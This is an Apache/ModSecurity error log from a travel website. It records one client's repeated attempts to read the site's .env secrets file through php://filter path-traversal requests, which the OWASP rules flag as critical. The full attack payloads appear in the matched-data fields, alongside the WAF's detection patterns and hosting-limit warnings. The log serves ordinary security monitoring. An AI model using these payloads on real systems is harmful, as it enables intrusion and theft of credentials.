[Fri Jul 17 08:55:11.842769 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.842968 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.843801 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.843934 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.844188 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OQAAABw"]
[Fri Jul 17 08:55:11.844254 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AcgAAAAU"]
[Fri Jul 17 08:55:11.844993 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.846303 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl4Zvbo7N5o5zeYC-OQAAABw"]
[Fri Jul 17 08:55:11.846423 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.846715 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl4Zvbo7N5o5zeYC-OQAAABw"]
[Fri Jul 17 08:55:11.848104 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&junk=cLMOywpjEgBskXkLOZdZk60H63NI1vvjbe_m2tlv-enFk5t2FS8PewVJQuzj9pJ_WBQAXdH2pYL-2NykNpxlSJVP-Nk1u_TvrocbvCRNWVvH-VOy1Muks4VXAbGn0sz6i75TrEFgyO6UqLtW3b08Ol4-gCVA608oXWt0kY0KooB3F7G0hAmNHBLRADvaBvFSewtFDzS9m7Q___qKkPTf_CTabcDHWysd6yo3ModL7CPoOOwy4shBjHXnvHHa2L8T8b7nTsM9BsVl3fzdmgZ74F3J&ref=4X35RDCOKR6K3O3MH5E4FKB6A66WOCNX3DZTTMB335I6VZOOVR4GS2GYX4QOUTZ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848144 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848190 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&junk=cLMOywpjEgBskXkLOZdZk60H63NI1vvjbe_m2tlv-enFk5t2FS8PewVJQuzj9pJ_WBQAXdH2pYL-2NykNpxlSJVP-Nk1u_TvrocbvCRNWVvH-VOy1Muks4VXAbGn0sz6i75TrEFgyO6UqLtW3b08Ol4-gCVA608oXWt0kY0KooB3F7G0hAmNHBLRADvaBvFSewtFDzS9m7Q___qKkPTf_CTabcDHWysd6yo3ModL7CPoOOwy4shBjHXnvHHa2L8T8b7nTsM9BsVl3fzdmgZ74F3J&ref=4X35RDCOKR6K3O3MH5E4FKB6A66WOCNX3DZTTMB335I6VZOOVR4GS2GYX4QOUTZVXP3PWTVQHXN634WKX4H4FELJU5C..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848232 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&junk=clmoywpjegbskxklozdzk60h63ni1vvjbe_m2tlv-enfk5t2fs8pewvjquzj9pj_wbqaxdh2pyl-2nyknpxlsjvp-nk1u_tvrocbvcrnwvvh-voy1muks4vxabgn0sz6i75trefgyo6uqltw3b08ol4-gcva608oxwt0ky0koob3f7g0hamnhblradvabvfsewtfdzs9m7q___qkkptf_ctabcdhwysd6yo3modl7cpooowy4shbjhxnvhha2l8t8b7ntsm9bsvl3fzdmgz74f3j&ref=4x35rdcokr6k3o3mh5e4fkb6a66wocnx3dzttmb335i6vzoovr4gs2gyx4qoutzvxp3pwtvqhxn634wkx4h4felju5c..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848268 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848295 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.848660 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.849674 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.849797 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.850144 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl0kXT4NBqALj2lZ8jQAAABA"]
[Fri Jul 17 08:55:11.850464 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglyRF0UOO1RzB5_8t7gAAAA4"]
[Fri Jul 17 08:55:11.855162 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSegAAAB4"]
[Fri Jul 17 08:55:11.856195 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSegAAAB4"]
[Fri Jul 17 08:55:11.856319 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.856598 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSegAAAB4"]
[Fri Jul 17 08:55:11.859028 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&src=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&ts=1t3s8f9hmULv3da3fRyICaHwfvoUXJNCzMGjqbdCo1P3We1zD3YEPsm9q06VDeUHcwPiIbccxEpv1PUwpplhCBkGgPeqUtUxWAsgTUKZFwpjdgERnb9s6zZBw1eu_Bw01yufZBscqq6VHHNMQYV86nnpnZnWH7123HX3VjsSvPBnK0k5BzE2S2J5-vg51KNxwQ_9JrwX1J4sdFurOZBVIuq3m3CH78641Ivd5dtTCrkpV6K6mcZErsP2u6nCfAz41rsLSfCI2mHv95W9iegfGvJQ&ref=RTZRTBA5EXHZ3IJTTTLFGN2GWCHDJ56VER323XE2IPVRCTUDCNA7F..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.859091 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.859146 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&ts=1t3s8f9hmULv3da3fRyICaHwfvoUXJNCzMGjqbdCo1P3We1zD3YEPsm9q06VDeUHcwPiIbccxEpv1PUwpplhCBkGgPeqUtUxWAsgTUKZFwpjdgERnb9s6zZBw1eu_Bw01yufZBscqq6VHHNMQYV86nnpnZnWH7123HX3VjsSvPBnK0k5BzE2S2J5-vg51KNxwQ_9JrwX1J4sdFurOZBVIuq3m3CH78641Ivd5dtTCrkpV6K6mcZErsP2u6nCfAz41rsLSfCI2mHv95W9iegfGvJQ&ref=RTZRTBA5EXHZ3IJTTTLFGN2GWCHDJ56VER323XE2IPVRCTUDCNA7FFIHCM4LR5DQP6QMIBBXGKKDFUP..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.859192 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&src=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&ts=1t3s8f9hmulv3da3fryicahwfvouxjnczmgjqbdco1p3we1zd3yepsm9q06vdeuhcwpiibccxepv1puwpplhcbkggpequtuxwasgtukzfwpjdgernb9s6zzbw1eu_bw01yufzbscqq6vhhnmqyv86nnpnznwh7123hx3vjssvpbnk0k5bze2s2j5-vg51knxwq_9jrwx1j4sdfurozbviuq3m3ch78641ivd5dttcrkpv6k6mczersp2u6ncfaz41rslsfci2mhv95w9iegfgvjq&ref=rtzrtba5exhz3ijtttlfgn2gwchdj56ver323xe2ipvrctudcna7ffihcm4lr5dqp6qmibbxgkkdfup..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.859234 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
[Fri Jul 17 08:55:11.859264 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:src: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw5GPQ6hs4VrfMpBTQAAAAY"]
